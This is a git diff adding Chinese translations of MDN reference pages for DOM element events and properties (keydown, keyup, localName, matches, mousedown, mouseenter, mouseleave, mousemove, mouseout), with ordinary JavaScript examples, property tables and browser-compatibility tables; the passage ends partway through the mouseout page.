+<p id="log"></p>
+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('keydown', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

{{EmbedLiveSample("addEventListener_keydown_example")}}

+ +

onkeydown 示例

+ +
input.onkeydown = logKey;
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName("UI Events", "#event-type-keydown")}}{{Spec2("UI Events")}}
+ +

Browser compatibility

+ +

{{Compat("api.Element.keydown_event")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/keyup_event/index.html b/files/zh-cn/web/api/element/keyup_event/index.html new file mode 100644 index 0000000000..17df6b0336 --- /dev/null +++ b/files/zh-cn/web/api/element/keyup_event/index.html @@ -0,0 +1,97 @@ +--- +title: 'Element: keyup event' +slug: Web/API/Element/keyup_event +translation_of: Web/API/Element/keyup_event +--- +
{{APIRef}}
+ +

keyup 事件在按键被松开时触发。

+ + + + + + + + + + + + + + + + + + + + + + +
冒泡
可取消
接口{{domxref("KeyboardEvent")}}
事件处理函数属性{{domxref("GlobalEventHandlers.onkeyup", "onkeyup")}}
+ +

keydown 和 keyup 事件提供指出哪个键被按下的代码,而 keypress 指出哪些字符被输入。例如,小写字母 “a” 在 keydown 和 keyup 时会被报告为 65,但在 keypress 时为 97。所有事件均将大写字母 “A” 报告为 65。

+ +

从 Firefox 65 开始,keyup 和 keydown 事件在 IME 编辑时也会被触发,以提升 CJKT 用户的跨浏览器兼容性({{bug(354358)}},另请参阅 keydown and keyup events are now fired during IME composition 获取更多有用的详情)。要忽略 IME 编辑时的所有 keyup 事件,请执行以下操作(229 是一个关于被 IME 加工过的事件的  keyCode 的特殊值 ):

+ +
eventTarget.addEventListener("keyup", event => {
+  if (event.isComposing || event.keyCode === 229) {
+    return;
+  }
+  // do something
+});
+
+ +

例子

+ +

addEventListener keyup 例子

+ +

在这个例子中,每当你在 {{HtmlElement("input")}} 元素里松开一个键,将会打印 {{domxref("KeyboardEvent.code")}} 的值。

+ +
<input placeholder="Click here, then press and release a key." size="40">
+<p id="log"></p>
+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('keyup', logKey);
+
+function logKey(e) {
+  log.textContent += ` ${e.code}`;
+}
+ +

{{EmbedLiveSample("addEventListener_keyup_example")}}

+ +

等效的 onkeyup

+ +
input.onkeyup = logKey;
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName("UI Events", "#event-type-keyup")}}{{Spec2("UI Events")}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.keyup_event")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/element/localname/index.html b/files/zh-cn/web/api/element/localname/index.html new file mode 100644 index 0000000000..5aed44e37b --- /dev/null +++ b/files/zh-cn/web/api/element/localname/index.html @@ -0,0 +1,146 @@ +--- +title: Element.localName +slug: Web/API/Element/localName +translation_of: Web/API/Element/localName +--- +
{{APIRef("DOM")}}
+ +

Element.localName 只读属性,返回本地名称的.

+ +
+

在DOM4之前这个API定义在{{domxref("Node")}}接口。

+
+ +

语法

+ +
name = element.localName
+
+ +

返回值

+ +

 {{domxref("DOMString")}} 返回元素限定名的本地部分。

+ +

示例

+ +

(必须配合XML文档类型, 如 text/xml 或 application/xhtml+xml.)

+ +
<html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:svg="http://www.w3.org/2000/svg">
+<head>
+  <script type="application/javascript"><![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "<svg:circle> has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]></script>
+</head>
+<body onload="test()">
+  <svg:svg version="1.1"
+    width="100px" height="100px"
+    viewBox="0 0 100 100">
+    <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/>
+  </svg:svg>
+  <textarea id="text" rows="4" cols="55"/>
+</body>
+</html>
+
+ +

说明

+ +

节点的本地名称是节点限定名的一部分出现在冒号之后. 限定名通常当作特定XML文档命名空间的一部分.例如在限定名 ecomm:partners中 partners是本地名,ecomm是前缀。

+ +
<ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm">
+  <ecomm:partners>
+    <ecomm:partner id="1001">Tony's Syrup Warehouse
+    </ecomm:partner>
+  </ecomm:partner>
+</ecomm:business>
+
+ +
+

提示: 在 {{Gecko("1.9.2")}} 之前, 此属性返回HTML DOM的HTML元素本地名称的大写版本 (而不是XML DOM的HTML元素). 在最后一个版本, 符合HTML5规范下, 当HTML DOM的HTML或XML DOMs的XHTML的小写元素时此属性返回内部DOM storage。{{domxref("element.tagName","tagName")}} 属性仍然返回HTML DOM的HTML元素本地名称的大写版本.

+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM4', '#interface-element', 'Element.localName')}}{{Spec2('DOM4')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support46.0[1]{{CompatGeckoDesktop("48.0")}}[1]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("48.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 此 API 之前在 {{domxref("Node")}} API.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/matches/index.html b/files/zh-cn/web/api/element/matches/index.html new file mode 100644 index 0000000000..24d5c682ff --- /dev/null +++ b/files/zh-cn/web/api/element/matches/index.html @@ -0,0 +1,117 @@ +--- +title: Element.matches() +slug: Web/API/Element/matches +tags: + - Element.matches() + - js-30-days + - matches() +translation_of: Web/API/Element/matches +--- +

{{APIRef("DOM")}}

+ +

如果元素被指定的选择器字符串选择,Element.matches()  方法返回true; 否则返回false。

+ +
+

有一些浏览器使用前缀, 在非标准名称  matchesSelector () 下实现了这个方法!

+
+ +

语法

+ +
let result = element.matches(selectorString);
+
+ + + +

例子

+ +
<ul id="birds">
+  <li>Orange-winged parrot</li>
+  <li class="endangered">Philippine eagle</li>
+  <li>Great white pelican</li>
+</ul>
+
+<script type="text/javascript">
+  var birds = document.getElementsByTagName('li');
+
+  for (var i = 0; i < birds.length; i++) {
+    if (birds[i].matches('.endangered')) {
+      console.log('The ' + birds[i].textContent + ' is endangered!');
+    }
+  }
+</script>
+ +
+<div id="foo">This is the element!</div>
+  <script type="text/javascript">
+    var el = document.getElementById("foo");
+    if (el.mozMatchesSelector("div")) {
+      alert("Match!");
+    }
+  </script>
+
+ +

会显示弹出框,因为"div"选择器可以选择到el元素.

+ +

异常

+ +
+
SYNTAX_ERR {{ gecko_minversion_inline("2.0") }}
+
如果给定的css选择器无效. 在 Gecko 2.0之前,该方法会返回false,2.0之后,会直接抛出异常.
+
+ +

替代方案(Polyfill)

+ +

对于不支持 Element.matches() 或Element.matchesSelector(),但支持document.querySelectorAll()方法的浏览器,存在以下替代方案

+ +
+if (!Element.prototype.matches) {
+    Element.prototype.matches =
+        Element.prototype.matchesSelector ||
+        Element.prototype.mozMatchesSelector ||
+        Element.prototype.msMatchesSelector ||
+        Element.prototype.oMatchesSelector ||
+        Element.prototype.webkitMatchesSelector ||
+        function(s) {
+            var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+                i = matches.length;
+            while (--i >= 0 && matches.item(i) !== this) {}
+            return i > -1;
+        };
+}
+ +
+

关于Polyfill的补充:

+ + +
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Selectors API Level 2', '#matches', 'Element.matches')}}{{Spec2('Selectors API Level 2')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.matches")}}

diff --git a/files/zh-cn/web/api/element/mousedown_event/index.html b/files/zh-cn/web/api/element/mousedown_event/index.html new file mode 100644 index 0000000000..fab356445a --- /dev/null +++ b/files/zh-cn/web/api/element/mousedown_event/index.html @@ -0,0 +1,235 @@ +--- +title: mousedown +slug: Web/API/Element/mousedown_event +translation_of: Web/API/Element/mousedown_event +--- +
{{APIRef}}
+ +

mousedown 事件在指针设备按钮按下时触发。

+ +

常规信息

+ +
+
规范
+
DOM L3
+
接口
+
{{domxref("MouseEvent")}}
+
是否冒泡
+
+
可取消默认行为
+
+
目标对象
+
元素(Element)
+
默认行为
+
多种:开始 drag/drop 操作;开始文本选择、开始滚动或移动操作(若支持该操作时,可与鼠标中键协同) 
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}事件对应的 DOM 树顶级顶级元素
type {{readonlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{readonlyInline}}Boolean事件是否冒泡
cancelable {{readonlyInline}}Boolean事件是否可取消
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("document.defaultView")}} (文档 window)
detail {{readonlyInline}}long (float) +

短时间内通过连续点击每次加一自增的计数值

+
currentTarget {{readonlyInline}}{{domxref("EventTarget")}}挂载监听器的节点
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}}对于 mouseover, mouseout, mouseenter 及 mouseleave 事件: 该事件及其互补事件(如 mouseleave 对应 mouseenter 事件)。不存在时为 null 
screenX {{readonlyInline}}long +

全局屏幕坐标系下鼠标指针的 X 轴坐标值

+
screenY {{readonlyInline}}long全局屏幕坐标系下鼠标指针的 Y 轴坐标值
clientX {{readonlyInline}}long +

当前(DOM 元素)坐标系下鼠标指针的 X 轴坐标值

+
clientY {{readonlyInline}}long当前(DOM 元素)坐标系下鼠标指针的 Y 轴坐标值
button {{readonlyInline}}unsigned short +

点击事件对应的按键序号:0 为左键、1 为中键、2 为右键。在左撇子的配置环境下,按键值相反。

+
buttons {{readonlyInline}}unsigned short +

鼠标事件触发时按下的按键值:左键为 1,右键为 2,中键为 4,第四个(如浏览器返回键)为 8,第五个(如浏览器前进键)为 16。若多个按键按下,则返回全部按下按键的逻辑值之和。例如,按下左键和右键时,返回 3 (= 1 | 2)。更多信息

+
mozPressure {{readonlyInline}}float +

触发事件时按下触控设备的压力。该值范围最小为 0.0,最大为 1.0

+
ctrlKey {{readonlyInline}}boolean若事件触发时 control 键按下则为 true,否则为 false
shiftKey {{readonlyInline}}boolean若事件触发时 shift 键按下则为 true,否则为 false
altKey {{readonlyInline}}boolean若事件触发时 alt 键按下则为 true,否则为 false
metaKey {{readonlyInline}}boolean若事件触发时 meta 键按下则为 true,否则为 false
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerEdgeOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
On disabled form elements{{CompatVersionUnknown}}[1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
On disabled form elements{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1]只在{{HTMLElement("textarea")}} 以及某些{{HTMLElement("input")}} 元素上有效.

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/mouseenter_event/index.html b/files/zh-cn/web/api/element/mouseenter_event/index.html new file mode 100644 index 0000000000..8fd3db245d --- /dev/null +++ b/files/zh-cn/web/api/element/mouseenter_event/index.html @@ -0,0 +1,319 @@ +--- +title: mouseenter +slug: Web/API/Element/mouseenter_event +tags: + - API + - Event + - mouseenter + - 鼠标移入事件 +translation_of: Web/API/Element/mouseenter_event +--- +
{{APIRef}}
+ +

当定点设备(通常指鼠标)移动到元素上时就会触发 mouseenter 事件

+ +

类似 {{event('mouseover')}},它们两者之间的差别是 mouseenter 不会冒泡(bubble),也就是说当指针从它的子层物理空间移到它的物理空间上时不会触发

+ +
+
mouseenter.png
+(mouseenter事件)触发时,会向层次结构的每个元素发送一个mouseenter事件。当指针到达文本时,此处将4个事件发送到层次结构的四个元素。 + +
mouseover.png
+一个单独的mouseover事件被发送到DOM树的最深层元素,然后它将层次结构向上冒泡,直到它被处理程序取消或到达根目录。
+ +

对于深层次结构,发送的mouseenter事件数量可能非常大并且会导致严重的性能问题。在这种情况下,最好是监听鼠标悬停事件。(可使用chrome开发者工具选项卡中的Performance进行性能测试)

+ +

结合其对称事件, mouseleave, mouseenter DOM事件的行为方式与CSS  {{cssxref(':hover')}} 伪类非常相似。.

+ +

General info

+ +
+
Specification
+
DOM L3
+
Interface
+
{{domxref('MouseEvent')}}
+
Synchronicity
+
Synchronous
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None
+
+ +

Properties 属性列表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Property 属性Type 类型Description 描述
target {{readonlyInline}}{{domxref("EventTarget")}}事件(event)目标(DOM树中最顶层的目标)。
type {{readonlyInline}}{{domxref("DOMString")}}事件(event)类型.
bubbles {{readonlyInline}}Boolean这个事件是否冒泡
cancelable {{readonlyInline}}Boolean这个事件可否取消
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("document.defaultView")}} (document的 window )
detail {{readonlyInline}}long (float)0.
currentTarget {{readonlyInline}}{{domxref("EventTarget")}}事件监听器监听的节点
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}}对于 mouseover, mouseout, mouseenter 和 mouseleave 事件: the target of the complementary event (the mouseleave target in the case of a mouseenter event). null otherwise.
screenX {{readonlyInline}}long鼠标指针相对于屏幕的X轴坐标
screenY {{readonlyInline}}long鼠标指针相对于屏幕的Y轴坐标
clientX {{readonlyInline}}long鼠标指针相对于DOM元素的X轴坐标
clientY {{readonlyInline}}long鼠标指针相对于DOM元素的Y轴坐标
button {{readonlyInline}}unsigned short始终为0,因为没有按钮会触发这个事件 (mouse movement事件干的).
buttons {{readonlyInline}}unsigned short表明当事件触发时鼠标上按下的键: 左键=1, 右键=2, 中键 (鼠标滚轮) =4, 第四个按钮 (通常是 “浏览器返回上一个页面”按钮)=8, 第五个按钮 (通常是“浏览器向前导航”按钮)=16. 如果很多按钮同时按下, 那就返回这些值的逻辑计算值. 比如,当左键和右键同时按下时返回3 (=1 | 2). 了解更多.
mozPressure {{readonlyInline}}floatThe amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
ctrlKey {{readonlyInline}}booleantrue 代表当事件触发时按着ctrl键. false 反之.
shiftKey {{readonlyInline}}booleantrue 代表当事件触发时按着shift键. false 反之.
altKey {{readonlyInline}}booleantrue 代表当事件触发时按着alt键. false 反之.
metaKey {{readonlyInline}}booleantrue 代表当事件触发时按着meta键 (???) false 反之.
+ +

Examples

+ +

鼠标悬停( mouseover )文档中有一个示例说明了mouseover和mouseenter之间的区别。

+ +

以下示例说明如何使用mouseover模拟mouseenter事件的事件委派原则。

+ +
<ul id="test">
+  <li>
+    <ul class="enter-sensitive">
+      <li>item 1-1</li>
+      <li>item 1-2</li>
+    </ul>
+  </li>
+  <li>
+    <ul class="enter-sensitive">
+      <li>item 2-1</li>
+      <li>item 2-2</li>
+    </ul>
+  </li>
+</ul>
+
+<script>
+  var delegationSelector = ".enter-sensitive";
+
+  document.getElementById("test").addEventListener("mouseover", function( event ) {
+    var target = event.target,
+        related = event.relatedTarget,
+        match;
+
+    // search for a parent node matching the delegation selector
+    while ( target && target != document && !( match = matches( target, delegationSelector ) ) ) {
+        target = target.parentNode;
+    }
+
+    // exit if no matching node has been found
+    if ( !match ) { return; }
+
+    // loop through the parent of the related target to make sure that it's not a child of the target
+    while ( related && related != target && related != document ) {
+        related = related.parentNode;
+    }
+
+    // exit if this is the case
+    if ( related == target ) { return; }
+
+    // the "delegated mouseenter" handler can now be executed
+    // change the color of the text
+    target.style.color = "orange";
+    // reset the color after a small amount of time
+    setTimeout(function() {
+        target.style.color = "";
+    }, 500);
+
+
+  }, false);
+
+
+  // function used to check if a DOM element matches a given selector
+  // the following code can be replaced by this IE8 compatible function: https://gist.github.com/2851541
+  function matches( elem, selector ){
+    // the webkitMatchesSelector is prefixed in most (if not all) browsers
+    return elem.webkitMatchesSelector( selector );
+  };
+</script>
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support30[1]{{CompatVersionUnknown}}10[2]5.5{{CompatVersionUnknown}}
+ {{CompatNo}} 15.0
+ 17.0
7[3]
On disabled form elements{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("44.0")}}[4]{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
On disabled form elements{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Implemented in bug 236215.

+ +

[2] Implemented in {{bug("432698")}}.

+ +

[3] Safari 7 fires the event in many situations where it's not allowed to, making the whole event useless. See bug 470258 for the description of the bug (it existed in old Chrome versions as well). Safari 8 has correct behavior

+ +

[4] Implemented in {{bug("218093")}}.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/mouseleave_event/index.html b/files/zh-cn/web/api/element/mouseleave_event/index.html new file mode 100644 index 0000000000..4469085ca6 --- /dev/null +++ b/files/zh-cn/web/api/element/mouseleave_event/index.html @@ -0,0 +1,325 @@ +--- +title: mouseleave +slug: Web/API/Element/mouseleave_event +translation_of: Web/API/Element/mouseleave_event +--- +
{{APIRef}}
+ +

指点设备(通常是鼠标)的指针移出某个元素时,会触发mouseleave事件。

+ +

mouseleave  和 {{event('mouseout')}} 是相似的,但是两者的不同在于mouseleave 不会冒泡而mouseout 会冒泡。
+ 这意味着当指针离开元素及其所有后代时,会触发mouseleave,而当指针离开元素或离开元素的后代(即使指针仍在元素内)时,会触发mouseout

+ + + + + + + + + + + + +
mouseenter.pngmouseover.png
当离开它们时,一个mouseleave事件被发送到层次结构的每个元素。当指针从文本移动到这里表示的最外面的div之外的区域时,这里4个事件会发送到层次结构的四个元素。一个单一的鼠标事件mouseout被发送到DOM树最深的元素,然后它冒泡层次,直到它被处理程序取消或到达根。
+ +

 

+ +

一般信息

+ +
+
规范
+
DOM L3
+
接口
+
{{domxref("MouseEvent")}}
+
是否冒泡
+
+
是否可取消
+
+
对象
+
Element
+
默认动作
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件目标(DOM树中最顶端的目标)。
type {{readonlyInline}}{{domxref("DOMString")}}事件的类型。
bubbles {{readonlyInline}}Boolean事件是否正常冒泡
cancelable {{readonlyInline}}Boolean事件是否可以取消?
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("document.defaultView")}} (window of the document)
detail {{readonlyInline}}long (float)0.
currentTarget {{readonlyInline}}{{domxref("EventTarget")}}附有事件侦听器的节​​点。
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}}mouseover, mouseout, mouseenter 和 mouseleave 事件: 互补事件的目标(详情查看relatedTarget)。
screenX {{readonlyInline}}long全局(屏幕)坐标中鼠标指针的X坐标。
screenY {{readonlyInline}}long全局(屏幕)坐标中鼠标指针的Y坐标。
clientX {{readonlyInline}}long鼠标指针在本地(DOM内容)坐标中的X坐标。
clientY {{readonlyInline}}long鼠标指针在本地(DOM内容)坐标中的Y坐标。
button {{readonlyInline}}unsigned short这总是为0,因为没有按钮按下触发这个事件(鼠标移动触发的事件)。
buttons {{readonlyInline}}unsigned short当鼠标事件被触发时按下按键:左按键= 1,右按键= 2,中(轮)按键= 4,第四按键(通常为“浏览器后退”按键)= 8,第五按键(通常为“浏览器前进“按键)= 16。如果按下两个或更多按键,则返回值的逻辑和。例如,如果按下左按键和右按键,返回3(= 1 | 2)。更多信息
mozPressure {{readonlyInline}}float生成事件时施加到触摸或tabdevice的压力量;此值介于0.0(最小压力)和1.0(最大压力)之间。
ctrlKey {{readonlyInline}}boolean +

当事件触发时,Ctrl键是被按下的,则为true ,否则为false

+
shiftKey {{readonlyInline}}boolean当事件触发时,shift键是被按下的,则为true ,否则为false
altKey {{readonlyInline}}boolean当事件触发时,alt键是被按下的,则为true ,否则为false
metaKey {{readonlyInline}}boolean当事件触发时,meta键是被按下的,则为true ,否则为false
+ +

例子

+ +

mouseout 文档有一个例子,说明了mouseoutmouseleave之间的区别。

+ +

以下示例说明了如何使用mouseout来模拟mouseleave事件的事件委托原则。

+ +

 

+ +
<ul id="test">
+  <li>
+    <ul class="leave-sensitive">
+      <li>item 1-1</li>
+      <li>item 1-2</li>
+    </ul>
+  </li>
+  <li>
+    <ul class="leave-sensitive">
+      <li>item 2-1</li>
+      <li>item 2-2</li>
+    </ul>
+  </li>
+</ul>
+
+<script>
+  var delegationSelector = ".leave-sensitive";
+
+  document.getElementById("test").addEventListener("mouseout", function( event ) {
+    var target = event.target,
+        related = event.relatedTarget,
+        match;
+
+    // search for a parent node matching the delegation selector
+    while ( target && target != document && !( match = matches( target, delegationSelector ) ) ) {
+        target = target.parentNode;
+    }
+
+    // exit if no matching node has been found
+    if ( !match ) { return; }
+
+    // loop through the parent of the related target to make sure that it's not a child of the target
+    while ( related && related != target && related != document ) {
+        related = related.parentNode;
+    }
+
+    // exit if this is the case
+    if ( related == target ) { return; }
+
+    // the "delegated mouseleave" handler can now be executed
+    // change the color of the text
+    target.style.color = "orange";
+    // reset the color after a small amount of time
+    setTimeout(function() {
+        target.style.color = "";
+    }, 500);
+
+
+  }, false);
+
+
+  // function used to check if a DOM element matches a given selector
+  // the following code can be replaced by this IE8 compatible function: https://gist.github.com/2851541
+  function matches( elem, selector ) {
+    if (typeof elem.matchesSelector === "function") {
+      // the matchesSelector is prefixed in most (if not all) browsers
+      return elem.matchesSelector( selector );
+    } else if (typeof elem.matches === "function") {
+      return elem.matches( selector );
+​​​​​​​    }
+  };
+</script>
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support30[1]{{CompatVersionUnknown}}10[2]5.5{{CompatVersionUnknown}}
+ {{CompatNo}} 15.0
+ 17.0
7[3]
On disabled form elements{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("44.0")}}[4]{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
On disabled form elements{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 实现于 bug 236215.

+ +

[2] 实现于{{bug("432698")}}.

+ +

[3] Safari 7 会在许多不适当的情形下引发该事件,使得这个事件变得无用.详情参阅bug 470258  (老版Chrome也有类似问题). Safari 8 已修正.

+ +

[4] 实现于 {{bug("218093")}}.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/mousemove_event/index.html b/files/zh-cn/web/api/element/mousemove_event/index.html new file mode 100644 index 0000000000..afc2062ab1 --- /dev/null +++ b/files/zh-cn/web/api/element/mousemove_event/index.html @@ -0,0 +1,163 @@ +--- +title: mousemove +slug: Web/API/Element/mousemove_event +tags: + - API + - DOM + - Event + - Interface + - NeedsBrowserCompatibility + - NeedsMobileBrowserCompatibility + - NeedsSpecTable + - Reference +translation_of: Web/API/Element/mousemove_event +--- +
{{APIRef}}
+ +

当指针设备( 通常指鼠标 )在元素上移动时, mousemove 事件被触发。

+ +

基本信息

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡Yes
是否可取消Yes
接口{{domxref("MouseEvent")}}
事件处理{{domxref("GlobalEventHandlers.onmousemove", "onmousemove")}}
+ +

例子

+ +

下面的例子将使用 {{domxref("Element/mousedown_event", "mousedown")}}, mousemove, and {{domxref("Element/mouseup_event", "mouseup")}} 事件,实现一个允许用户在 HTML5 canvas绘图的功能。这个例子的功能很简单:线的粗细设置为1,颜色始终为黑色。

+ +

当页面加载完成,我们使用变量 myPics 和context分别保存ID为myPics的DOM元素和接下来需要加工的的2d元素。

+ +

mousedown事件被触发时,绘图也开始了。首先,我们将鼠标的x坐标和y坐标分别赋值给变量xy,然后设置isDrawingtrue

+ +

当鼠标在页面上移动时,mousemove事件被触发。当isDrawing为true时,事件处理程序将会调用drawLine函数,该函数从变量xy所指的位置开始,到现在鼠标所在的位置,画一条线。

+ +

drawLine()调用结束时,我们需要把坐标赋值到xy中。

+ +

mouseup事件绘制图形的最后一段,并把xy设置为0.通过设置isDra

+ +

mouseup事件绘制图形的最后一段,并把xy设置为0.通过设置isDrawing为false,可以停止绘制。

+ +

HTML

+ +
<h1>Drawing with mouse events</h1>
+<canvas id="myPics" width="560" height="360"></canvas>
+
+ +

CSS

+ +
canvas {
+  border: 1px solid black;
+  width: 560px;
+  height: 360px;
+}
+ +

JavaScript

+ +
// When true, moving the mouse draws on the canvas
+let isDrawing = false;
+let x = 0;
+let y = 0;
+
+const myPics = document.getElementById('myPics');
+const context = myPics.getContext('2d');
+
+// The x and y offset of the canvas from the edge of the page
+const rect = myPics.getBoundingClientRect();
+
+// Add the event listeners for mousedown, mousemove, and mouseup
+myPics.addEventListener('mousedown', e => {
+  x = e.clientX - rect.left;
+  y = e.clientY - rect.top;
+  isDrawing = true;
+});
+
+myPics.addEventListener('mousemove', e => {
+  if (isDrawing === true) {
+    drawLine(context, x, y, e.clientX - rect.left, e.clientY - rect.top);
+    x = e.clientX - rect.left;
+    y = e.clientY - rect.top;
+  }
+});
+
+window.addEventListener('mouseup', e => {
+  if (isDrawing === true) {
+    drawLine(context, x, y, e.clientX - rect.left, e.clientY - rect.top);
+    x = 0;
+    y = 0;
+    isDrawing = false;
+  }
+});
+
+function drawLine(context, x1, y1, x2, y2) {
+  context.beginPath();
+  context.strokeStyle = 'black';
+  context.lineWidth = 1;
+  context.moveTo(x1, y1);
+  context.lineTo(x2, y2);
+  context.stroke();
+  context.closePath();
+}
+ +

结果

+ +

{{EmbedLiveSample("Examples", 640, 450)}}

+ +

参考

+ + + + + + + + + + + + + + + + + + +
guiStatus
{{SpecName('UI Events', '#event-type-mousemove', 'mousemove')}}{{Spec2('UI Events')}}
{{SpecName('DOM3 Events', '#event-type-mousemove', 'mousemove')}}{{Spec2('DOM3 Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.mousemove_event")}}

+ +

See also

+ +
+ +
diff --git a/files/zh-cn/web/api/element/mouseout_event/index.html b/files/zh-cn/web/api/element/mouseout_event/index.html new file mode 100644 index 0000000000..f77a4e8162 --- /dev/null +++ b/files/zh-cn/web/api/element/mouseout_event/index.html @@ -0,0 +1,126 @@ +--- +title: 'Element: mouseout 事件' +slug: Web/API/Element/mouseout_event +tags: + - API + - DOM + - Event + - Interface + - MouseEvent + - Reference + - events + - mouseout + - 事件 + - 参考 + - 接口 +translation_of: Web/API/Element/mouseout_event +--- +

当移动指针设备(通常是鼠标),使指针不再包含在这个元素或其子元素中时,mouseout 事件被触发。当指针从一个元素移入其子元素时,mouseout 也会被触发,因为子元素遮盖了父元素的可视区域。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("MouseEvent")}}
Event handler property{{domxref("GlobalEventHandlers.onmouseout", "onmouseout")}}
+ +

示例

+ +

以下示例将说明如何使用 mouseout 事件。

+ +

mouseout 和 mouseleave

+ +

以下示例说明了 mouseout 和 mouseleave 事件的区别。当鼠标离开<ul> 时,mouseleave 事件会添加到 {{HTMLElement("ul")}} 以将列表变成紫色。mouseout 在鼠标移出目标元素时被添加到列表,以将目标元素变成橙色。

+ +

